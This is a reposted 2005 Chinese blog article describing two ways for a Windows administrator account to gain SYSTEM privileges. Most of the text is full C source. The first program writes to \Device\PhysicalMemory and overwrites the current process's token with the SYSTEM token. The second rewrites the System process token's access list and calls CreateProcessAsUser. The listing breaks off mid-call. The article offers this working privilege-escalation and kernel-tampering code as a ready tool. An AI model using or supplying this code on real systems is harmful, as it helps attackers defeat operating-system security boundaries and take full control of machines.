管理员组获取系统权限的完美解决方案

    技术2022-05-11  119

    创建时间:2005-04-28 文章属性:原创 文章提交: suei8423 (suei8423_at_163.com) 管理员组获取系统权限的完美解决方案 Author : ZwelL Blog   : http://www.donews.net/zwell Date   : 2005.4.28     关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了. 小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限". 这里,我先踩在前辈的肩上列一些可行的方法: 1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)" 2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建 3. 远线程插入,插入线程到系统进程,创建一新进程 这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以: 4. 将程序做成服务,带参数运行新进程 做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限. 当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案. 这里,我拿出两种新的方案来实现该功能: 第一种方法.我们先来看一下系统是如何进行权限检测的, 举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证: OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;                                     |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查 也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。 思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限. 而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^) 实现代码: =========================================================================================================== #include<windows.h> #include<stdio.h> #include<Accctrl.h> #include<Aclapi.h> #define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it #define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0) #define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) typedef LONG  NTSTATUS; typedef struct _IO_STATUS_BLOCK {     NTSTATUS    Status;     ULONG        Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _UNICODE_STRING {     USHORT        Length;     USHORT        MaximumLength;     PWSTR        Buffer; } UNICODE_STRING, *PUNICODE_STRING; #define OBJ_INHERIT             0x00000002L #define OBJ_PERMANENT           0x00000010L #define OBJ_EXCLUSIVE           0x00000020L #define OBJ_CASE_INSENSITIVE    0x00000040L #define OBJ_OPENIF              0x00000080L #define OBJ_OPENLINK            0x00000100L #define OBJ_KERNEL_HANDLE       0x00000200L #define OBJ_VALID_ATTRIBUTES    0x000003F2L typedef struct _OBJECT_ATTRIBUTES {     ULONG        Length;     HANDLE        RootDirectory;     PUNICODE_STRING ObjectName;     ULONG        Attributes;     PVOID        SecurityDescriptor;     PVOID        SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;   typedef struct _SYSTEM_MODULE_INFORMATION {     ULONG Reserved[2];     PVOID Base;     ULONG Size;     ULONG Flags;     USHORT Index;     USHORT Unknown;     USHORT LoadCount;     USHORT ModuleNameOffset;     CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS {     SystemBasicInformation,     SystemProcessorInformation,     SystemPerformanceInformation,     SystemTimeOfDayInformation,     SystemNotImplemented1,     SystemProcessesAndThreadsInformation,     SystemCallCounts,     SystemConfigurationInformation,     SystemProcessorTimes,     SystemGlobalFlag,     SystemNotImplemented2,     SystemModuleInformation,     SystemLockInformation,     SystemNotImplemented3,     SystemNotImplemented4,     SystemNotImplemented5,     SystemHandleInformation,     SystemObjectInformation,     SystemPagefileInformation,     SystemInstructionEmulationCounts,     SystemInvalidInfoClass1,     SystemCacheInformation,     SystemPoolTagInformation,     SystemProcessorStatistics,     SystemDpcInformation,     SystemNotImplemented6,     SystemLoadImage,     SystemUnloadImage,     SystemTimeAdjustment,     SystemNotImplemented7,     SystemNotImplemented8,     SystemNotImplemented9,     SystemCrashDumpInformation,     SystemExceptionInformation,     SystemCrashDumpStateInformation,     SystemKernelDebuggerInformation,     SystemContextSwitchInformation,     SystemRegistryQuotaInformation,     SystemLoadAndCallImage,     SystemPrioritySeparation,     SystemNotImplemented10,     SystemNotImplemented11,     SystemInvalidInfoClass2,     SystemInvalidInfoClass3,     SystemTimeZoneInformation,     SystemLookasideInformation,     SystemSetTimeSlipEvent,     SystemCreateSession,     SystemDeleteSession,     SystemInvalidInfoClass4,     SystemRangeStartInformation,     SystemVerifierInformation,     SystemAddVerifier,     SystemSessionProcessesInformation } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(     OUT PHANDLE  SectionHandle,     IN  ACCESS_MASK  DesiredAccess,     IN  POBJECT_ATTRIBUTES  ObjectAttributes     ); typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                     IN OUT PUNICODE_STRING  DestinationString,     IN PCWSTR  SourceString     ); typedef struct _SYSTEM_HANDLE_INFORMATION {     ULONG            ProcessId;     UCHAR            ObjectTypeNumber;     UCHAR            Flags;     USHORT            Handle;     PVOID            Object;     ACCESS_MASK        GrantedAccess; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; RTLINITUNICODESTRING        RtlInitUnicodeString; ZWOPENSECTION            ZwOpenSection; ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL; HMODULE    g_hNtDLL = NULL; PVOID     g_pMapPhysicalMemory = NULL; HANDLE     g_hMPM     = NULL; BOOL InitNTDLL() {     g_hNtDLL = LoadLibrary( "ntdll.dll" );     if ( !g_hNtDLL )     {         return FALSE;     }     RtlInitUnicodeString =         (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");     ZwOpenSection =         (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");     ZwQuerySystemInformation =         ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );     ZwQuerySystemInformation =         ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );     return TRUE; } VOID CloseNTDLL() {     if(g_hNtDLL != NULL)     {         FreeLibrary(g_hNtDLL);     } } VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) {     PACL pDacl=NULL;     PACL pNewDacl=NULL;     PSECURITY_DESCRIPTOR pSD=NULL;     DWORD dwRes;     EXPLICIT_ACCESS ea;     if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,         NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)     {         goto CleanUp;     }     ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));     ea.grfAccessPermissions = SECTION_MAP_WRITE;     ea.grfAccessMode = GRANT_ACCESS;     ea.grfInheritance= NO_INHERITANCE;     ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;     ea.Trustee.TrusteeType = TRUSTEE_IS_USER;     ea.Trustee.ptstrName = "CURRENT_USER";     if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)     {         goto CleanUp;     }     if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)     {         goto CleanUp;     } CleanUp:     if(pSD)         LocalFree(pSD);     if(pNewDacl)         LocalFree(pNewDacl); } HANDLE OpenPhysicalMemory() {     NTSTATUS        status;     UNICODE_STRING        physmemString;     OBJECT_ATTRIBUTES    attributes;     RtlInitUnicodeString( &physmemString, L"//Device//PhysicalMemory" );     attributes.Length            = sizeof(OBJECT_ATTRIBUTES);     attributes.RootDirectory        = NULL;     attributes.ObjectName            = &physmemString;     attributes.Attributes            = 0;     attributes.SecurityDescriptor        = NULL;     attributes.SecurityQualityOfService    = NULL;     status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);     if(status == STATUS_ACCESS_DENIED){         status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);         SetPhyscialMemorySectionCanBeWrited(g_hMPM);         CloseHandle(g_hMPM);         status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);     }     if( !NT_SUCCESS( status ))     {         return NULL;     }     g_pMapPhysicalMemory = MapViewOfFile(         g_hMPM,         4,         0,         0x30000,         0x1000);     if( g_pMapPhysicalMemory == NULL )     {         return NULL;     }     return g_hMPM; } PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) {     ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;     if(VAddr>=0x80000000 && VAddr<0xa0000000)     {         PAddr=VAddr-0x80000000;         return (PVOID)PAddr;     }     PGDE=BaseAddress[VAddr>>22];     if ((PGDE&1)!=0)     {         ULONG tmp=PGDE&0x00000080;         if (tmp!=0)         {             PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);         }         else         {             PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);             PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];             if ((PTE&1)!=0)             {                 PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);                 UnmapViewOfFile((PVOID)PGDE);             }             else return 0;         }     }     else return 0;     return (PVOID)PAddr; } ULONG GetData(PVOID addr) {     ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);     PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);     if (tmp==0)         return 0;     ULONG ret=tmp[(phys & 0xFFF)>>2];     UnmapViewOfFile(tmp);     return ret; } BOOL SetData(PVOID addr,ULONG data) {     ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);     PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);     if (tmp==0)         return FALSE;     tmp[(phys & 0xFFF)>>2]=data;     UnmapViewOfFile(tmp);     return TRUE; } DWORD MyGetModuleBaseAddress( char * pModuleName) {     PSYSTEM_MODULE_INFORMATION    pSysModule;         ULONG            uReturn;     ULONG            uCount;     PCHAR            pBuffer = NULL;     PCHAR            pName    = NULL;     NTSTATUS        status;     UINT            ui;     CHAR            szBuffer[10];     DWORD            pBaseAddress;     status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );     pBuffer = ( PCHAR )malloc(uReturn);     if ( pBuffer )     {         status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );         if( NT_SUCCESS(status) )         {             uCount = ( ULONG )*( ( ULONG * )pBuffer );             pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );             for ( ui = 0; ui < uCount; ui++ )             {                 pName = strstr( pSysModule->ImageName, pModuleName );                 if( pName )                 {                     pBaseAddress = (DWORD)pSysModule->Base;                     free( pBuffer );                     return pBaseAddress;                 }                 pSysModule ++;             }         }         free( pBuffer );     }     return NULL; } DWORD GetEprocessFromId (DWORD PID) {     NTSTATUS                     status;     PVOID                        buf   = NULL;     ULONG                        size  = 1;     ULONG                        NumOfHandle = 0;     ULONG                        i;     PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;     DWORD    n;     DWORD    retvalue=0;     buf=malloc(0x1000);     if(buf == NULL)     {         printf("malloc wrong/n");         return FALSE;     }     status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );     if(STATUS_INFO_LENGTH_MISMATCH == status)     {         free(buf);         buf=malloc(n);         if(buf == NULL)         {             printf("malloc wrong/n");             return FALSE;         }         status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);     }     else     {         printf("ZwQuerySystemInformation wrong/n");         return FALSE;     }     NumOfHandle = *(ULONG*)buf;     h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);     for(i = 0; i<NumOfHandle ;i++)     {             if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5  ))             {                 retvalue=(DWORD)(h_info[i].Object);                 break;             }     }     if ( buf != NULL )     {         free( buf );     }     return retvalue; } void usage(char *exe) {     printf("Usage : %s [exefile|-h]/n"); } int main(int argc, char **argv) {     HMODULE hDll;     DWORD tmp;     DWORD SystemEprocess;     DWORD SystemEprocessTokenValue;     DWORD CurrentEprocess;     DWORD CurrentEprocessTokenValue;     printf("/nIt is intended to get SYSTEM privilege from administrators group./n");     printf("/tMade by ZwelL./n");     printf("/tZwell@sohu.com./n");     printf("/thttp://www.donews.net/zwell./n");     printf("/tType -h to get more information/n", argv[0]);     if( argc>=2)     {         if(             ( (strcmp(argv[1],"-h")==0) && (argc==2))             || (argc>2)           )         {             usage(argv[0]);             exit(-1);         }     }     if (!InitNTDLL())     {         printf("InitNTDLL wrong/n");         exit(-1);     }     if (OpenPhysicalMemory()==0)     {         printf("OpenPhysicalMemory wrong/n");         exit(-1);     }     hDll = LoadLibrary("ntoskrnl.exe");     tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");     tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;     SystemEprocess=GetData((PVOID)tmp);     tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address     SystemEprocessTokenValue=GetData((PVOID)tmp);   //SYSTEM's Token     printf("System Process Token : 0xX/n", SystemEprocessTokenValue);     OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );     CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());     CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));     printf("Current EPROCESS : x/n", CurrentEprocess);     printf("Current Process Token : x/nPress ENTER to continue.../n",         CurrentEprocessTokenValue);     //getchar();     SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);     printf("Current Process Token : x/n",         GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));     printf("Press ENTER to create process.../n");     //getchar();     if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))         == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))           )         // It is so surprised that SYSTEM's Token always in changing.         // So before create new process, we should ensure the TOKEN is all right     {         ShellExecute(NULL, "open", (argc==2)?argv[1]:"c://windows//regedit.exe", NULL, NULL, SW_SHOWNORMAL);     }     UnmapViewOfFile(g_pMapPhysicalMemory);     CloseHandle(g_hMPM);     CloseNTDLL();     return 0; } 在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小). ========================================================================================================= 第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。 这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。 用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术". 下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN: #include <windows.h> #include <stdio.h> #include <Tlhelp32.h> #include <AccCtrl.h> #include <Aclapi.h> #include <wtsapi32.h> #pragma comment(lib, "wtsapi32") HANDLE OpenSystemProcess() {     HANDLE hSnapshot = NULL;     HANDLE hProc     = NULL;     __try     {         // Get a snapshot of the processes in the system         hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);         if (hSnapshot == NULL)         {             printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");             __leave;         }         PROCESSENTRY32 pe32;         pe32.dwSize = sizeof(pe32);         // Find the "System" process         BOOL fProcess = Process32First(hSnapshot, &pe32);         while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))             fProcess = Process32Next(hSnapshot, &pe32);         if (!fProcess)         {             printf("OpenSystemProcess Not Found SYSTEM");             __leave;    // Didn't find "System" process         }         // Open the process with PROCESS_QUERY_INFORMATION access         hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,             pe32.th32ProcessID);         if (hProc == NULL)         {             printf("OpenSystemProcess OpenProcess Failed");             __leave;         }     }     __finally     {         // Cleanup the snapshot        if (hSnapshot != NULL)            CloseHandle(hSnapshot);        return(hProc);     } } BOOL EnablePrivilege (PCSTR name) {     HANDLE hToken;     BOOL rv;          TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };     LookupPrivilegeValue (         0,         name,         &priv.Privileges[0].Luid     );          OpenProcessToken(         GetCurrentProcess (),         TOKEN_ADJUST_PRIVILEGES,         &hToken     );          AdjustTokenPrivileges (         hToken,         FALSE,         &priv,         sizeof priv,         0,         0     );     rv = GetLastError () == ERROR_SUCCESS;          CloseHandle (hToken);     return rv; } #define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0])) BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess) {     PACL pAcl        = NULL;     PACL pNewAcl     = NULL;     PACL pSacl       = NULL;     PSID pSidOwner   = NULL;     PSID pSidPrimary = NULL;     BOOL fSuccess    = TRUE;     PSECURITY_DESCRIPTOR pSD = NULL;     __try     {         // Find the length of the security object for the kernel object         DWORD dwSDLength;         if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,             &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))         {             printf("ModifySecurity GetKernelObjectSecurity Size Failed");             __leave;         }         // Allocate a buffer of that length         pSD = LocalAlloc(LPTR, dwSDLength);         if (pSD == NULL)         {             printf("ModifySecurity LocalAlloc Failed");             __leave;         }         // Retrieve the kernel object         if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,             dwSDLength, &dwSDLength))         {             printf("ModifySecurity GetKernelObjectSecurity Failed");             __leave;         }         // Get a pointer to the DACL of the SD         BOOL fDaclPresent;         BOOL fDaclDefaulted;         if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,             &fDaclDefaulted))         {             printf("ModifySecurity GetSecurityDescriptorDacl Failed");             __leave;         }         // Get the current user's name         TCHAR szName[1024];         DWORD dwLen = chDIMOF(szName);         if (!GetUserName(szName, &dwLen))         {             printf("ModifySecurity GetUserName Failed");             __leave;         }         // Build an EXPLICIT_ACCESS structure for the ace we wish to add.         EXPLICIT_ACCESS ea;         BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);         ea.Trustee.TrusteeType = TRUSTEE_IS_USER;         // We are allocating a new ACL with a new ace inserted.  The new         // ACL must be LocalFree'd         if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))         {             printf("ModifySecurity SetEntriesInAcl Failed");             pNewAcl = NULL;             __leave;         }         // Find the buffer sizes we would need to make our SD absolute         pAcl               = NULL;         dwSDLength         = 0;         DWORD dwAclSize    = 0;         DWORD dwSaclSize   = 0;         DWORD dwSidOwnLen  = 0;         DWORD dwSidPrimLen = 0;         PSECURITY_DESCRIPTOR pAbsSD = NULL;         if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,             &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)             || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))         {             printf("ModifySecurity MakeAbsoluteSD Size Failed");             __leave;         }         // Allocate the buffers         pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);         pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);         pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);         pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);         pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);         if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))         {             printf("ModifySecurity Invalid SID Found");             __leave;         }         // And actually make our SD absolute         if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,             &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))         {             printf("ModifySecurity MakeAbsoluteSD Failed");             __leave;         }         // Now set the security descriptor DACL         if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,             fDaclDefaulted))         {             printf("ModifySecurity SetSecurityDescriptorDacl Failed");             __leave;         }         // And set the security for the object         if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))         {             printf("ModifySecurity SetKernelObjectSecurity Failed");             __leave;         }         fSuccess = TRUE;     }     __finally     {         // Cleanup         if (pNewAcl == NULL)             LocalFree(pNewAcl);         if (pSD == NULL)             LocalFree(pSD);         if (pAcl == NULL)             LocalFree(pAcl);         if (pSacl == NULL)             LocalFree(pSacl);         if (pSidOwner == NULL)             LocalFree(pSidOwner);         if (pSidPrimary == NULL)             LocalFree(pSidPrimary);         if(!fSuccess)         {             printf("ModifySecurity exception caught in __finally");         }         return(fSuccess);     } } HANDLE GetLSAToken() {     HANDLE hProc  = NULL;     HANDLE hToken = NULL;     BOOL bSuccess = FALSE;     __try     {         // Enable the SE_DEBUG_NAME privilege in our process token         if (!EnablePrivilege(SE_DEBUG_NAME))         {             printf("GetLSAToken EnablePrivilege Failed");             __leave;         }         // Retrieve a handle to the "System" process         hProc = OpenSystemProcess();         if(hProc == NULL)         {             printf("GetLSAToken OpenSystemProcess Failed");             __leave;         }         // Open the process token with READ_CONTROL and WRITE_DAC access.  We         // will use this access to modify the security of the token so that we         // retrieve it again with a more complete set of rights.         BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,             &hToken);         if(FALSE == fResult)           {             printf("GetLSAToken OpenProcessToken Failed");             __leave;         }         // Add an ace for the current user for the token.  This ace will add         // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.         if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY             | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))         {             printf("GetLSAToken ModifySecurity Failed");             __leave;         }                  // Reopen the process token now that we have added the rights to         // query the token, duplicate it, and assign it.         fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE             | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);         if (FALSE == fResult)           {             printf("GetLSAToken OpenProcessToken Failed");             __leave;         }         bSuccess = TRUE;     }     __finally     {         // Close the System process handle         if (hProc != NULL)    CloseHandle(hProc);         if(bSuccess)             return hToken;         else         {             ::CloseHandle(hToken);             return NULL;         }     } } #define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | /         DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | /         DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | /         DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED) #define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES |  /     WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | /         WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | /         WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | /         WINSTA_READSCREEN | /         STANDARD_RIGHTS_REQUIRED) #define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL) BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid); BOOL AddAceToDesktop(HDESK hdesk, PSID psid); BOOL GetLogonSID(HANDLE hToken, PSID *ppsid) {     PWTS_PROCESS_INFO pProcessInfo = NULL;     DWORD             ProcessCount = 0;     BOOL                ret=FALSE;     if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))     {         // dump each process description         for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)         {             if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )             {                 //*ppsid = pProcessInfo[CurrentProcess].pUserSid;                 DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);                 *ppsid = (PSID) HeapAlloc(GetProcessHeap(),                             HEAP_ZERO_MEMORY, dwLength);                 if (*ppsid == NULL)                     break;                 if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))                 {                     HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);                     break;                 }                 ret=TRUE;                 break;             }         }         WTSFreeMemory(pProcessInfo);     }     return ret; } BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid) {    BOOL bSuccess = FALSE;    DWORD dwIndex;    DWORD dwLength = 0;    PTOKEN_GROUPS ptg = NULL; // Verify the parameter passed in is not NULL.     if (NULL == ppsid)         goto Cleanup; // Get required buffer size and allocate the TOKEN_GROUPS buffer.    if (!GetTokenInformation(          hToken,         // handle to the access token          TokenGroups,    // get information about the token's groups          (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer          0,              // size of buffer          &dwLength       // receives required buffer size       ))    {       if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)          goto Cleanup;       ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),          HEAP_ZERO_MEMORY, dwLength);       if (ptg == NULL)          goto Cleanup;    } // Get the token group information from the access token.    if (!GetTokenInformation(          hToken,         // handle to the access token          TokenGroups,    // get information about the token's groups          (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer          dwLength,       // size of buffer          &dwLength       // receives required buffer size          ))    {       goto Cleanup;    } // Loop through the groups to find the logon SID.    for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)       if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)              ==  SE_GROUP_LOGON_ID)       {       // Found the logon SID; make a copy of it.          dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);          *ppsid = (PSID) HeapAlloc(GetProcessHeap(),                      HEAP_ZERO_MEMORY, dwLength);          if (*ppsid == NULL)              goto Cleanup;          if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))          {              HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);              goto Cleanup;          }          break;       }    bSuccess = TRUE; Cleanup: // Free the buffer for the token groups.    if (ptg != NULL)       HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);    return bSuccess; } VOID FreeLogonSID (PSID *ppsid) {     HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid); } BOOL StartInteractiveClientProcess (     LPTSTR lpszUsername,    // client to log on     LPTSTR lpszDomain,      // domain of client's account     LPTSTR lpszPassword,    // client's password     LPTSTR lpCommandLine,    // command line to execute     HANDLE Token = NULL ) {    HANDLE      hToken;    HDESK       hdesk = NULL;    HWINSTA     hwinsta = NULL, hwinstaSave = NULL;    PROCESS_INFORMATION pi;    PSID pSid = NULL;    STARTUPINFO si;    BOOL bResult = FALSE; // Log the client on to the local computer.    if(Token!=NULL)    {        printf("x/n", Token);        hToken = Token;    }    else if (!LogonUser(            lpszUsername,            lpszDomain,            lpszPassword,            LOGON32_LOGON_INTERACTIVE,            LOGON32_PROVIDER_DEFAULT,            &hToken) )    {       goto Cleanup;    } // Save a handle to the caller's current window station.    if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)       goto Cleanup; // Get a handle to the interactive window station.    hwinsta = OpenWindowStation(        "winsta0",                   // the interactive window station        FALSE,                       // handle is not inheritable        READ_CONTROL | WRITE_DAC);   // rights to read/write the DACL    if (hwinsta == NULL)       goto Cleanup; // To get the correct default desktop, set the caller's // window station to the interactive window station.    if (!SetProcessWindowStation(hwinsta))       goto Cleanup; // Get a handle to the interactive desktop.    hdesk = OpenDesktop(       "default",     // the interactive window station       0,             // no interaction with other desktop processes       FALSE,         // handle is not inheritable       READ_CONTROL | // request the rights to read and write the DACL       WRITE_DAC |       DESKTOP_WRITEOBJECTS |       DESKTOP_READOBJECTS); // Restore the caller's window station.    if (!SetProcessWindowStation(hwinstaSave))       goto Cleanup;    if (hdesk == NULL)       goto Cleanup; // Get the SID for the client's logon session.    if (!GetLogonSID(hToken, &pSid))       goto Cleanup; // Allow logon SID full access to interactive window station.    if (! AddAceToWindowStation(hwinsta, pSid) )       goto Cleanup; // Allow logon SID full access to interactive desktop.    if (! AddAceToDesktop(hdesk, pSid) )       goto Cleanup; // Impersonate client to ensure access to executable file.    if (! ImpersonateLoggedOnUser(hToken) )       goto Cleanup; // Initialize the STARTUPINFO structure. // Specify that the process runs in the interactive desktop.    ZeroMemory(&si, sizeof(STARTUPINFO));    si.cb= sizeof(STARTUPINFO);    si.lpDesktop = TEXT("winsta0//default");  //You can use EnumWindowStations to enum desktop // Launch the process in the client's logon session.    bResult = CreateProcessAsUser(       hToken,            // client's access token       NULL,              